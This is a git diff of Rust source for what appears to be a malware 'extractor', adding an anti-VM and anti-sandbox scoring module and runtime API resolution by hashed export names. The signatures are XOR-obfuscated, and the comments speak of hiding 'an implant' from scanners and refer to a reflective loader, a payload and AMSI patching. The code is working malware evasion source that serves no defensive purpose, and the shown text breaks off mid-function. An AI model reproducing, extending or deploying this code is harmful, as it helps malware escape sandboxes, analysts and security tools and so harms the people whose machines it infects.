--------------------------------------------------------------------------- +// 1-2. CPUID-based detection +// --------------------------------------------------------------------------- + +#[inline] +unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) { + let mut a = leaf; + let mut c = sub; + let mut d = 0u32; + let mut b = 0u32; + asm!( + "push rbx", + "cpuid", + "mov {tmp:e}, ebx", + "pop rbx", + inout("eax") a, + inout("ecx") c, + out("edx") d, + tmp = lateout(reg) b, + options(nostack, preserves_flags), + ); + (a, b, c, d) +} + +/// Hypervisor-present bit (leaf 1 ECX bit 31). +pub fn cpuid_hypervisor_bit() -> bool { + unsafe { + let (_, _, ecx, _) = cpuid(1, 0); + ecx & (1 << 31) != 0 + } +} + +/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX). +pub fn cpuid_hypervisor_vendor() -> Option { + if !cpuid_hypervisor_bit() { + return None; + } + unsafe { + let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0); + if max_leaf == 0 { + return None; + } + let bytes: Vec = [ + ebx.to_le_bytes(), + ecx.to_le_bytes(), + edx.to_le_bytes(), + ] + .iter() + .flatten() + .copied() + .collect(); + Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string()) + } +} + +/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." / +/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc. +pub fn cpuid_brand_suspicious() -> bool { + unsafe { + let (_, max_ext, _, _) = { + // leaf 0x80000000 returns max ext leaf in EAX + let r = cpuid(0x8000_0000, 0); + (r.0, r.0, r.2, r.3) + }; + if max_ext < 0x8000_0004 { + return false; + } + let mut brand = Vec::with_capacity(48); + for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] { + let (a, b, c, d) = cpuid(leaf, 0); + for v in [a, b, c, d] { + brand.extend_from_slice(&v.to_le_bytes()); + } + } + let bl = lower(&brand); + + let key: u8 = gen::K_VENDOR; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(key, 0x6101, b"kvm"), + obf::sig(key, 0x6102, b"virtual"), + obf::sig(key, 0x6103, b"qemu"), + obf::sig(key, 0x6104, b"vmware"), + obf::sig(key, 0x6105, b"xen"), + obf::sig(key, 0x6106, b"hyper-v"), + ]; + const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7]; + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&bl, &plain[..LENS[i]]) { + return true; + } + } + false + } +} + +// --------------------------------------------------------------------------- +// 3. VMware backdoor I/O port +// --------------------------------------------------------------------------- + +/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868 +/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this +/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust +/// without SEH, so we only run this when the hypervisor bit is set anyway +/// (cheap and safe), making it a *refinement* rather than a primary signal. +pub fn vmware_backdoor_present() -> bool { + if !cpuid_hypervisor_bit() { + return false; + } + unsafe { + let magic: u32 = 0x564D_5868; // 'VMXh' + let port: u16 = 0x5658; // 'VX' + let ver_out: u32; + let magic_out: u32; + asm!( + "push rbx", + "mov ebx, {magic:e}", + "mov ecx, 0xA", // backdoor cmd: get version + "in eax, dx", + "mov {mo:e}, ebx", + "pop rbx", + magic = in(reg) magic, + mo = out(reg) magic_out, + inlateout("eax") magic => ver_out, + out("ecx") _, + in("dx") port, + options(nostack), + ); + // VMware returns its version in EAX; EBX may echo the magic. + ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic + } +} + +// --------------------------------------------------------------------------- +// 4. Instruction red pills +// --------------------------------------------------------------------------- + +/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel +/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on +/// bare metal it is usually lower. This is a weak heuristic; score it lightly. +pub fn sidt_red_pill() -> bool { + #[repr(C, packed(2))] + struct Descriptor { + limit: u16, + base: u64, + } + let mut d = Descriptor { limit: 0, base: 0 }; + unsafe { + asm!( + "sidt [{}]", + in(reg) &mut d as *mut Descriptor, + options(nostack, preserves_flags), + ); + } + // Common VMware-on-Intel signature. + (d.base >> 24) >= 0xFF && (d.base >> 32) == 0 +} + +/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some +/// hypervisors leave a nonzero selector. Weak heuristic. +pub fn sldt_anomaly() -> bool { + let ldt: u16; + unsafe { + asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags)); + } + ldt != 0 +} + +/// STR (Store Task Register) — trampoline check used by some sandboxes. +pub fn str_anomaly(expected_low: u16) -> bool { + let tr: u16; + unsafe { + asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags)); + } + // Windows usermode task register is typically 0x0040-ish under WoW or 0 + // in x64. Values far outside normal ranges suggest instrumentation. + tr != expected_low && tr > 0x40 +} + +// --------------------------------------------------------------------------- +// 5. SMBIOS firmware strings +// --------------------------------------------------------------------------- + +pub fn smbios_firmware_strings() -> bool { + const RSMB: u32 = 0x5253_4D42; + let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) }; + if size == 0 || size > 4 * 1024 * 1024 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) }; + if got == 0 { + return false; + } + buf.truncate(got as usize); + let bl = lower(&buf); + + let key: u8 = gen::K_SMBIOS; + let bad: [(obf::Slot, u32); 12] = [ + obf::sig(key, 0x2001, b"vmware"), + obf::sig(key, 0x2002, b"virtualbox"), + obf::sig(key, 0x2003, b"qemu"), + obf::sig(key, 0x2004, b"kvm"), + obf::sig(key, 0x2005, b"innotek"), + obf::sig(key, 0x2006, b"bochs"), + obf::sig(key, 0x2007, b"virtual machine"), + obf::sig(key, 0x2008, b"hyper-v"), + obf::sig(key, 0x2009, b"parallels"), + obf::sig(key, 0x200a, b"bhyve"), + obf::sig(key, 0x200b, b"xen"), + obf::sig(key, 0x200c, b"vbox"), + ]; + const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4]; + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&bl, &plain[..LENS[i]]) { + return true; + } + } + false +} + +// --------------------------------------------------------------------------- +// 6. Registry artifacts +// --------------------------------------------------------------------------- + +/// Check if a registry key exists under HKLM. +unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool { + let mut hk: usize = 0; + let status = dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ); + if status == 0 { + dynapi::RegCloseKey(hk); + true + } else { + false + } +} + +fn wide(s: &[u8]) -> Vec { + s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect() +} + +pub fn registry_artifacts() -> u32 { + let mut hits: u32 = 0; + + let key: u8 = gen::K_ENV; + let paths: [(obf::Slot, u32); 10] = [ + // SOFTWARE\VMware, Inc.\VMware Tools + obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"), + // SOFTWARE\Oracle\VirtualBox Guest Additions + obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"), + // SYSTEM\ControlSet001\Services\VBoxGuest + obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"), + // SYSTEM\ControlSet001\Services\VBoxMouse + obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"), + // SYSTEM\ControlSet001\Services\VBoxSF + obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"), + // SYSTEM\ControlSet001\Services\VBoxVideo + obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"), + // HARDWARE\ACPI\DSDT\VBOX__ + obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"), + // HARDWARE\ACPI\FADT\VBOX__ + obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"), + // HARDWARE\Description\System\BIOS with SystemManufacturer + obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"), + // SYSTEM\ControlSet001\Services\vmci + obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"), + ]; + const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38]; + + unsafe { + for (i, s) in paths.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let w = wide(&raw[..LENS[i]]); + if reg_key_exists(&w) { + hits += 1; + if hits >= 2 { + return hits; + } + } + } + + // BIOS table: read SystemManufacturer + SystemProductName values. + let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS"); + if let Some(hk) = open(&bios_key) { + let val_names: [(obf::Slot, u32); 2] = [ + obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"), + obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"), + ]; + const VLENS: [usize; 2] = [18, 17]; + let mut buf = [0u8; 256]; + for (i, vn) in val_names.iter().enumerate() { + let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]); + let vw = wide(&raw[..VLENS[i]]); + let mut sz: u32 = buf.len() as u32; + let st = dynapi::RegQueryValueExW( + hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(), + buf.as_mut_ptr(), &mut sz, + ); + if st == 0 && sz > 0 { + let vl = lower(&buf[..sz as usize]); + let markers: [&[u8]; 6] = + [b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"]; + for m in markers { + if contains(&vl, m) { + hits += 1; + } + } + } + } + dynapi::RegCloseKey(hk); + } + } + + hits +} + +unsafe fn open(subkey_wide: &[u16]) -> Option { + let mut hk: usize = 0; + if dynapi::RegOpenKeyExW( + abi::HKEY_LOCAL_MACHINE, + subkey_wide.as_ptr(), + 0, + abi::KEY_READ, + &mut hk, + ) == 0 + { + Some(hk) + } else { + None + } +} + +// --------------------------------------------------------------------------- +// 7. Filesystem artifacts +// --------------------------------------------------------------------------- + +const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF; + +unsafe fn file_exists(path_wide: &[u16]) -> bool { + abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID +} + +pub fn filesystem_artifacts() -> u32 { + let mut hits: u32 = 0; + let key: u8 = gen::K_ENV; + + let files: [(obf::Slot, u32); 14] = [ + obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"), + obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"), + obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"), + obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"), + obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"), + obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"), + obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"), + obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"), + obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"), + obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"), + obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"), + obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"), + obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"), + obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"), + ]; + const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36]; + + unsafe { + for (i, s) in files.iter().enumerate() { + let raw = obf::dec_sig(key, s, LENS[i]); + let w = wide(&raw[..LENS[i]]); + if file_exists(&w) { + hits += 1; + if hits >= 2 { + return hits; + } + } + } + } + hits +} + +// --------------------------------------------------------------------------- +// 8. MAC address OUI prefixes +// --------------------------------------------------------------------------- + +#[repr(C)] +struct IpAdapterAddresses { + _length: u32, + _if_index: u32, + next: *mut IpAdapterAddresses, + _adapter_name: *const u8, + _first_unicast: *mut c_void, + _first_anycast: *mut c_void, + _first_multicast: *mut c_void, + _dns_server: *mut c_void, + _dns_suffix: *mut u16, + _description: *mut u16, + _friendly_name: *mut u16, + physical_address: [u8; 8], + physical_address_length: u32, + _flags: u32, +} + +/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC). +const VM_OUIS: [[u8; 3]; 12] = [ + [0x00, 0x05, 0x69], // VMware + [0x00, 0x0C, 0x29], // VMware + [0x00, 0x1C, 0x14], // VMware + [0x00, 0x50, 0x56], // VMware + [0x08, 0x00, 0x27], // VirtualBox + [0x0A, 0x00, 0x27], // VirtualBox (alt) + [0x52, 0x54, 0x00], // QEMU/KVM + [0x00, 0x16, 0x3E], // Xen + [0x00, 0x1C, 0x42], // Parallels + [0x00, 0x03, 0xFF], // Hyper-V (Microsoft) + [0x00, 0x15, 0x5D], // Hyper-V + [0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint) +]; + +const AF_UNSPEC: u32 = 0; +const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100; +const ERROR_BUFFER_OVERFLOW: u32 = 111; + +pub fn mac_address_vm() -> bool { + unsafe { + let mut size: u32 = 0; + // First call to get required buffer size. + let rc = dynapi::GetAdaptersAddresses( + AF_UNSPEC, + GAA_FLAG_INCLUDE_ALL_INTERFACES, + ptr::null_mut(), + ptr::null_mut(), + &mut size, + ); + if rc != ERROR_BUFFER_OVERFLOW || size == 0 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let head = buf.as_mut_ptr() as *mut IpAdapterAddresses; + let rc = dynapi::GetAdaptersAddresses( + AF_UNSPEC, + GAA_FLAG_INCLUDE_ALL_INTERFACES, + ptr::null_mut(), + head as *mut c_void, + &mut size, + ); + if rc != 0 { + return false; + } + let mut cur = head; + while !cur.is_null() { + let a = &*cur; + let len = a.physical_address_length as usize; + if len >= 3 { + for oui in VM_OUIS.iter() { + if a.physical_address[0] == oui[0] + && a.physical_address[1] == oui[1] + && a.physical_address[2] == oui[2] + { + return true; + } + } + } + cur = a.next; + } + } + false +} + +// --------------------------------------------------------------------------- +// 9. Uptime anomaly +// --------------------------------------------------------------------------- + +/// Sandboxes frequently boot from a fresh snapshot minutes before detonation. +pub fn uptime_suspicious(max_minutes: u64) -> bool { + let ms = unsafe { abi::GetTickCount64() }; + ms < max_minutes * 60 * 1000 +} + +// --------------------------------------------------------------------------- +// 10. Process-count anomaly +// --------------------------------------------------------------------------- + +pub fn process_count_low(min_expected: usize) -> bool { + const TH32CS_SNAPPROCESS: u32 = 0x2; + unsafe { + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + #[repr(C)] + struct Pe32W { + dw_size: u32, + _pad: [u32; 7], + sz_exe_file: [u16; 260], + } + let mut e: Pe32W = core::mem::zeroed(); + e.dw_size = core::mem::size_of::() as u32; + let mut count: usize = 0; + if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 { + loop { + count += 1; + if count > min_expected { + break; + } + if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 { + break; + } + } + } + abi::CloseHandle(snap); + count <= min_expected + } +} + +// --------------------------------------------------------------------------- +// 11. User input absence +// --------------------------------------------------------------------------- + +#[repr(C)] +struct LastInputInfo { + cb_size: u32, + dw_time: u32, +} + +/// No keyboard/mouse input within N ms => nobody is using this machine => +/// likely an automated sandbox. Only meaningful when uptime is long enough +/// (a freshly booted real PC also has no input yet). +pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool { + unsafe { + let now = abi::GetTickCount64(); + if now < min_uptime_ms { + return false; // too early to judge + } + let mut li = LastInputInfo { + cb_size: core::mem::size_of::() as u32, + dw_time: 0, + }; + if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 { + return false; + } + let last = li.dw_time as u64; + // GetTickCount wraps ~49 days; ignore wrap edge case for simplicity. + now.saturating_sub(last) > window_ms as u64 + } +} + +// --------------------------------------------------------------------------- +// 12. Loaded module scan +// --------------------------------------------------------------------------- + +pub fn vm_dlls_loaded() -> bool { + const TH32CS_SNAPMODULE: u32 = 0x8; + unsafe { + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + #[repr(C)] + struct Me32W { + dw_size: u32, + _mid: [u32; 7], + _base: usize, + sz_module: [u16; 256], + sz_exe_path: [u16; 260], + } + let mut me: Me32W = core::mem::zeroed(); + me.dw_size = core::mem::size_of::() as u32; + + let key: u8 = gen::K_TOKEN; + let bad: [(obf::Slot, u32); 8] = [ + obf::sig(key, 0x4501, b"vmguestlib"), + obf::sig(key, 0x4502, b"vboxhook"), + obf::sig(key, 0x4503, b"vboxmrxnp"), + obf::sig(key, 0x4504, b"vmswitch"), + obf::sig(key, 0x4505, b"sandboxie"), + obf::sig(key, 0x4506, b"dbghelp"), + obf::sig(key, 0x4507, b"api_log"), + obf::sig(key, 0x4508, b"dir_watch"), + ]; + const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9]; + + let mut found = false; + if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 { + loop { + let mut name = Vec::with_capacity(512); + for ch in me.sz_module.iter() { + if *ch == 0 { break; } + name.push(*ch as u8); + } + let nl = lower(&name); + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&nl, &plain[..LENS[i]]) { + found = true; + break; + } + } + if found { break; } + if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 { + break; + } + } + } + abi::CloseHandle(snap); + found + } +} + +// --------------------------------------------------------------------------- +// 13. Window title/class scan +// --------------------------------------------------------------------------- + +static mut WINDOW_HIT: bool = false; + +/// EnumWindows callback: check window text + class against encrypted signatures. +unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 { + let mut text = [0u16; 256]; + let mut cls = [0u16; 256]; + dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256); + dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256); + + let tlen = text.iter().position(|&c| c == 0).unwrap_or(0); + let clen = cls.iter().position(|&c| c == 0).unwrap_or(0); + let tb: Vec = text[..tlen].iter().map(|&c| c as u8).collect(); + let cb: Vec = cls[..clen].iter().map(|&c| c as u8).collect(); + + let key: u8 = gen::K_DISPLAY; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(key, 0x5501, b"vboxtraytoolwindow"), + obf::sig(key, 0x5502, b"vboxtray"), + obf::sig(key, 0x5503, b"vmwareuser"), + obf::sig(key, 0x5504, b"vmwaretray"), + obf::sig(key, 0x5505, b"paratools"), + obf::sig(key, 0x5506, b"cuckoo sandbox"), + ]; + const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13]; + + let tl = lower(&tb); + let cl = lower(&cb); + for (i, s) in bad.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + let p = &plain[..LENS[i]]; + if contains(&tl, p) || contains(&cl, p) { + WINDOW_HIT = true; + return 0; // stop enumeration + } + } + 1 // continue +} + +pub fn vm_tool_windows() -> bool { + unsafe { + WINDOW_HIT = false; + dynapi::EnumWindows(enum_cb as usize, 0); + WINDOW_HIT + } +} + +// --------------------------------------------------------------------------- +// 14. Disk / volume characteristics +// --------------------------------------------------------------------------- + +/// Fixed drives whose volume label matches common VM defaults +/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not). +pub fn disk_artifacts() -> bool { + let key: u8 = gen::K_SMBIOS; + let labels: [(obf::Slot, u32); 5] = [ + obf::sig(key, 0x5601, b"vbox"), + obf::sig(key, 0x5602, b"cdrom"), + obf::sig(key, 0x5603, b"ubuntu"), + obf::sig(key, 0x5604, b"debian"), + obf::sig(key, 0x5605, b"kali"), + ]; + const LENS: [usize; 5] = [4, 5, 6, 6, 4]; + + // DRIVE_FIXED = 3 + const DRIVE_FIXED: u32 = 3; + for letter in [b'C', b'D', b'E'] { + let root: Vec = vec![letter, b':', b'\\']; + let rw = wide(&root); + unsafe { + if abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED { + continue; + } + let mut vol = [0u16; 128]; + let mut serial: u32 = 0; + let ok = abi::GetVolumeInformationW( + rw.as_ptr(), + vol.as_mut_ptr(), + 128, + &mut serial, + ptr::null_mut(), + ptr::null_mut(), + ptr::null_mut(), + 0, + ); + if ok == 0 { + continue; + } + let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0); + let vb: Vec = vol[..vlen].iter().map(|&c| c as u8).collect(); + let vl = lower(&vb); + for (i, s) in labels.iter().enumerate() { + let plain = obf::dec_sig(key, s, LENS[i]); + if contains(&vl, &plain[..LENS[i]]) { + return true; + } + } + } + } + false +} + +// --------------------------------------------------------------------------- +// Score aggregation +// --------------------------------------------------------------------------- + +/// Run all anti-VM vectors and return a cumulative score. +/// Higher = more suspicious. Caller applies threshold. +pub fn score() -> u32 { + let mut s: u32 = 0; + + // Primary signals (high weight). + if cpuid_hypervisor_bit() { + s += 3; + } + if smbios_firmware_strings() { + s += 3; + } + if mac_address_vm() { + s += 3; + } + if registry_artifacts() >= 2 { + s += 3; + } + if filesystem_artifacts() >= 2 { + s += 3; + } + + // Secondary signals (medium weight). + if let Some(vendor) = cpuid_hypervisor_vendor() { + let vl = lower(vendor.as_bytes()); + for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] { + if contains(&vl, m) { + s += 2; + break; + } + } + // VMware backdoor port: only safe to probe when a hypervisor is + // already known present (avoids #GP on bare metal). + if contains(&vl, b"vmware") && vmware_backdoor_present() { + s += 2; + } + } + if cpuid_brand_suspicious() { + s += 2; + } + if vm_dlls_loaded() { + s += 2; + } + if vm_tool_windows() { + s += 2; + } + + // Tertiary signals (low weight; individually noisy, collectively telling). + if uptime_suspicious(20) { + s += 1; + } + if process_count_low(30) { + s += 1; + } + if no_user_input(120_000, 10 * 60 * 1000) { + s += 1; + } + if disk_artifacts() { + s += 1; + } + + // Instruction-level heuristics (very weak individually). + if s >= 2 { + // Only refine when other signals exist, to avoid FP on bare metal. + if sidt_red_pill() { + s += 1; + } + if sldt_anomaly() { + s += 1; + } + } + + s +} diff --git a/Kematian-Standalone/rust-extractor/src/apires.rs b/Kematian-Standalone/rust-extractor/src/apires.rs new file mode 100644 index 0000000..e59c155 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/apires.rs @@ -0,0 +1,265 @@ +//! Runtime API resolution by hash — no import table entry needed. +//! +//! Many analysis tools triage an implant by its static import table. This module +//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB +//! module list and scanning export names with a rotating hash, exactly like the +//! reflective loader does. The guard never needs those APIs to appear in its +//! imports, so a scanner sees a much quieter PE. +//! +//! This is intentionally additive: the payload *already* worked via its normal +//! import table (fixed up by the reflective loader). For the guard, resolving a +//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them. + +use core::ffi::c_void; +use core::ptr; + +use crate::abi; + +#[inline(always)] +fn ror1(v: u32) -> u32 { + v.wrapping_shr(1) | v.wrapping_shl(31) +} + +unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + while i < nchars { + let c = ptr::read_volatile((ptr + i * 2) as *const u16); + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add((c - 0x20) as u32); + } else { + h = h.wrapping_add(c as u32); + } + i += 1; + } + h +} + +unsafe fn hash_ascii(ptr: usize) -> u32 { + let mut h: u32 = 0; + let mut i = 0; + loop { + let c = ptr::read_volatile((ptr + i) as *const u8) as u32; + if c == 0 { + return h; + } + h = ror1(h); + if (0x61..=0x7A).contains(&c) { + h = h.wrapping_add(c - 0x20); + } else { + h = h.wrapping_add(c); + } + i += 1; + } +} + +/// Find a module base by its base-name rotating hash. +unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize { + let ldr = ptr::read_volatile((peb + 0x18) as *const usize); + if ldr == 0 { + return 0; + } + let head = ptr::read_volatile((ldr + 0x20) as *const usize); + if head == 0 { + return 0; + } + let mut cur = head; + loop { + if cur == 0 { + return 0; + } + let entry = cur.wrapping_sub(0x10); + let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize; + if name_len > 0 { + let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize); + if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want { + return ptr::read_volatile((entry + 0x30) as *const usize); + } + } + let next = ptr::read_volatile((entry + 0x10) as *const usize); + if next == head || next == cur { + break; + } + cur = next; + } + 0 +} + +/// Resolve an export of `base` by its ror-hashed name. +unsafe fn export_by_hash(base: usize, want: u32) -> usize { + let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize; + let dd = base + lfanew + 4 + 20 + 112; + let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize; + if ed_rva == 0 { + return 0; + } + let ed = base + ed_rva; + let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize; + let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize; + let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize; + let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize; + if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 { + return 0; + } + for i in 0..num_names { + let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize; + if hash_ascii(base + name_rva) == want { + let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize; + let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize; + if fn_rva != 0 { + return base + fn_rva; + } + return 0; + } + } + 0 +} + +unsafe fn peb_pointer() -> usize { + let peb: usize; + core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + peb +} + +/// Public PEB pointer accessor (used by antihook's IAT walk). +pub unsafe fn peb_ptr() -> usize { + peb_pointer() +} + +// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never +// appear in the binary. `r()` unmasks at runtime (black_box blocks the +// optimizer from folding the XOR back to the plain value). +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY; +const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY; +const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY; +const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY; +const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY; + +type CheckRemoteDebuggerFn = + unsafe extern "system" fn(process: usize, present: *mut i32) -> i32; + +/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0. +pub unsafe fn check_remote_debugger() -> usize { + let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32)); + if k32 == 0 { + return 0; + } + export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT)) +} + +/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present. +pub unsafe fn dyn_check_remote_debugger() -> bool { + let raw = check_remote_debugger(); + if raw == 0 { + return false; + } + let f: CheckRemoteDebuggerFn = core::mem::transmute(raw); + let mut present: i32 = 0; + f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0 +} + +/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0. +pub unsafe fn nt_query_information_process() -> usize { + let peb = peb_pointer(); + let ntdll = module_base_by_hash(peb, r(HASH_NTDLL)); + if ntdll == 0 { + return 0; + } + export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS)) +} + +/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0. +pub unsafe fn virtual_protect() -> usize { + let peb = peb_pointer(); + let k32 = module_base_by_hash(peb, r(HASH_KERNEL32)); + if k32 == 0 { + return 0; + } + export_by_hash(k32, r(HASH_VIRTUALPROTECT)) +} + +/// ntdll module base, resolved by hash. +pub unsafe fn ntdll_base() -> usize { + module_base_by_hash(peb_pointer(), r(HASH_NTDLL)) +} + +/// Resolve any loaded module's base by its wide base-name hash +/// (used for e.g. amsi.dll during AMSI patching). +pub unsafe fn module_base_by_name_hash(want: u32) -> usize { + module_base_by_hash(peb_pointer(), want) +} + +/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook). +pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize { + export_by_hash(base, want) +} + +/// A resolved dynamic NT API handle (opaque pointer + castable fn). +type NtQueryFn = unsafe extern "system" fn( + process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32, +) -> i32; +type VirtualProtectFn = unsafe extern "system" fn( + addr: *mut c_void, size: usize, prot: u32, old: *mut u32, +) -> i32; + +/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically +/// resolved pointer. Used by the guard to avoid importing it. +pub unsafe fn dyn_query_debug_flags() -> Option { + let raw = nt_query_information_process(); + if raw == 0 { + return None; + } + let 